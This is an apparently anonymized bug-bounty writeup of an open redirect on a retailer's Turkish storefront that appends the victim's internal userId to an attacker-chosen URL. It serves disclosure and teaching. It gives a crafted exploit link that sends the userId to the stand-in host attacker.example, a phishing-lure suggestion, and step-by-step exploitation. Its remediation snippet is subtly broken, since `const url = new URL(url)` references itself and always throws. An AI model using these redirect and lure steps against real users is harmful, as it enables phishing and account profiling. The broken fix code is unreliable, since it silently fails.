

Client-Side Open Redirect with User-ID Leak on a Retailer's Turkish Storefront

Target	Turkish storefront of a European retailer ([redacted] . [redacted] .com.tr)
Class	Open redirect (CWE-601) + internal identifier disclosure
Vector	Client-side, unauthenticated to deliver, authenticated to leak the ID
Reported via	Public bug bounty program
Outcome	Duplicate (someone got there first)
Author	Tomás Gorrini Rech

Anonymized writeup. The real host, the internal `userId` I captured, the JS chunk hashes, and my session cookies are all redacted or replaced with placeholders. Nothing here is reproducible against the live target as written, and the bug was reported through the program before this was published.

A quick note before the technical part: this one came back as a **duplicate**, so I don't get to claim the find. I'm writing it up anyway because the bug itself is a clean, textbook example of why "it's only an open redirect" is the wrong instinct, and because the `userId` leak on top of it is the detail that makes it more than a low-sev throwaway.

Description

The `.com.tr` storefront exposes a client-side open redirect at `/[redacted]/[redacted]/redirect`. The page reads an attacker-controlled `url` query parameter and sends the browser wherever it points. There's no allowlist on the destination host, any `http/https` URL is accepted.

The interesting bit: when the victim is authenticated, the app appends their internal numeric `userId` to the destination before firing the redirect.

```
window.location.href = `${url}${userId}`;  
// e.g. → https://attacker.example/<userId>
```

And when the victim *isn't* logged in yet, the app doesn't just bail, it bounces them to the real login page with the pending redirect preserved in state. So they authenticate on the legitimate domain, and the redirect fires automatically the moment they're in. That's the part I liked: the login step, which normally kills these flows, actually makes this one worse,

because now you're guaranteed a logged-in session (and therefore a `userId`) at the exact moment the redirect goes off.

The logic lives in the `Redirect` React component (JS chunk `mms-webmobile-pwa-shared-feature-redirect.<hash>.js`). It does validate that `url`'s scheme is `http:` or `https:` (so someone thought about `javascript:`) but there's no host check at all. The whole feature is gated behind a server-side flag, `isSpecialPageRedirectActive`, which I found flipped to `true` **only** on the `.com.tr` locale. Every other locale I checked had it `false`.

Exploitation

No account needed on my end. The victim just needs a store account (or to make one, which the flow happily walks them through).

1. Craft the link on the legit domain.

```
https://[redacted].[redacted].com.tr/[redacted]/[redacted]/redirect?url=https://attacker.example/
```

2. Send it. Email, DM, whatever. The whole point is that the domain is the real storefront, so it survives visual inspection, link-preview cards, and most mail scanners. Wrap it in a boring promo lure ("10% off your next order, claim here") and you're done.

3. Victim clicks (unauthenticated path). Their browser loads the real page, sees no session, and forwards them to the real login form. `url` rides along in the redirect state. URL bar still says the real domain the whole way.

4. Victim logs in. On the genuine login form, real credentials, nothing visually wrong.

5. Redirect fires. Immediately post-login the app returns them to the original URL and runs the redirect:

```
https://attacker.example/<userId>
```

They land on my domain, and my server logs the `userId` in the request path. The victim did nothing except click a link on a domain they trust.

Authenticated shortcut: if they already have a live session, steps 3–4 just don't happen. One click and the redirect goes off immediately, `userId` attached.

PoC

Exploit URL:

```
https://[redacted].[redacted].com.tr/[redacted]/[redacted]/redirect?url=https://example.com/
```

Request (captured in Caido, cookies stripped):

```
GET /[redacted]/[redacted]/redirect?url=https://example.com/ HTTP/1.1
Host: [redacted].[redacted].com.tr
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML,
like Gecko) Chrome/148.0.0.0 Safari/537.36 -[BugBounty tag]
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Cookie: [session cookies redacted]
```

Response is a plain 200 with the React app shell. The `__PRELOADED_STATE__` baked into the SSR HTML is where I confirmed the flag:

```
"isSpecialPageRedirectActive": true
```

Then the client-side JS does the rest:

```
window.location.href = "https://example.com/" + userId;
// → https://example.com/<userId>
```

Repro with a throwaway account:

1. Open an incognito window (logged out).
2. Go to `https://[redacted].[redacted].com.tr/[redacted]/[redacted]/redirect?url=https://example.com/`.
3. You get bounced to the real login page (URL bar still on the real domain).
4. Log in with a valid account.
5. Browser lands on `https://example.com/<userId>`, off-domain, with the internal ID sitting in the URL.

Vulnerable snippet from the bundle (variable names as minified, reconstructed):

```
const allowedSchemes = ["http:", "https:"];
const valid = g => {
  try { return allowedSchemes.includes(new URL(g).protocol); }
  catch { return false; }
};
// scheme is checked, host is not → any http(s) URL passes
...
window.location.href = `${url}${userId}`
```

Locale check, for scope: `isSpecialPageRedirectActive` was `true` on `.com.tr` and `false` on every other locale I tested. So this was a one-locale problem, which I called out explicitly in the report rather than implying the whole platform was affected.

Risk

Phishing / credential theft. This is the real weight of the bug. I can hand a victim a link on the *trusted* domain that, after they authenticate on the *real* login page, drops them on a lookalike I control. Every step happens on the genuine site, so there's no moment where the URL bar or a link preview tips them off. It works against any customer who clicks, no technical sophistication required on their end.

User-ID disclosure. The authenticated victim's internal `userId` lands in my server logs (and in any JS running on my landing page) without their knowledge. On its own it's an identifier, not a compromise, but it correlates a click to a specific account, and if there's an object-level authz weakness anywhere else in the API, it's exactly the kind of input you'd want to have already collected.

Scope. Limited to `.com.tr`. Everything else had the flag off, so I scoped the impact honestly rather than inflating it.

Remediation

Allowlist the destination host server-side. Validate scheme *and* host; anything that isn't a known partner domain goes to the homepage.

```
const ALLOWED_HOSTS = ["partner1.example.com", "partner2.example.com"];
let destination;
try {
  const url = new URL(url);
  if (!["http:", "https:"].includes(url.protocol)) throw new Error();
  if (!ALLOWED_HOSTS.includes(url.hostname)) throw new Error();
  destination = `${url}${userId}`;
} catch {
  return navigate(`/lang/`);
}
window.location.href = destination;
```

Separately, I'd push back on appending the raw `userId` to an external URL at all. If the partner genuinely needs to identify the user, hand them a signed, short-lived token scoped to that partner instead of the internal identifier in cleartext.